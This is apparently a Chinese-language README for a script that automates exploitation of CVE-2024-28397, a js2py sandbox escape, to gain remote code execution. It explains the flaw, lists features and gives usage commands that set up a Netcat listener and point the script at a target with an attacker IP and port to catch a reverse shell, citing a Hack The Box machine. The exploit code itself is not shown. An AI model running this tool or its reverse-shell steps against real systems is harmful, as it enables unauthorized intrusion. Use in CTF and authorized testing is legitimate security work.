CVE-2024-28397 漏洞利用自动化

一个针对 js2py 沙箱逃逸 漏洞 (CVE-2024-28397) 的 Python 自动化利用脚本。该工具自动化了载荷生成与投递过程，以在易受攻击的实例上实现远程代码执行 (RCE)。

⚠️ 法律免责声明 在未获得对方事先同意的情况下使用此工具攻击目标是非法的。本仓库仅用于教育目的。作者不对任何滥用此信息的行为负责。此工具旨在用于授权的安全评估和夺旗赛 (CTF) 环境。

🧐 关于漏洞

CVE-2024-28397 影响 js2py 库 (版本 < 0.74)。该库未能正确将 JavaScript 环境与主机 Python 环境隔离。

• 缺陷： 不当的输入清理允许访问 Python 内部的 __class__ 和 __subclasses__ 属性。
• 影响： 攻击者可以遍历对象层次结构以访问 subprocess.Popen，从而在主机服务器上执行任意命令。

🚀 特性

• 自动生成载荷： 自动构建 JavaScript 沙箱逃逸逻辑。
• Base64 编码： 处理载荷编码以防止传输过程中语法错误。
• 连接处理： 基于请求超时检测成功的外壳执行。
• 专业输出： 简洁的 CLI 界面，带有状态更新。

🛠️ 用法

前置条件

pip install requests

启动你的 Netcat 监听器：

nc -lvnp 1337

运行脚本：

python3 exploit.py -u <目标 URL> -i <攻击者 IP> -p <攻击者端口>

📸 概念验证

以下是该工具针对一个易受攻击的目标 (Hack The Box - CodeTwo) 的实际操作：

1. 执行

运行漏洞利用脚本以生成载荷并触发回调：

2. 成功

在监听器上接收反弹 Shell：

📜 致谢

• 漏洞发现与核心 JS 载荷： Marven11
• 自动化脚本： L1337Xi
• 贡献者：
  • Leyn4L
  • iamrizwanvp
  • axai457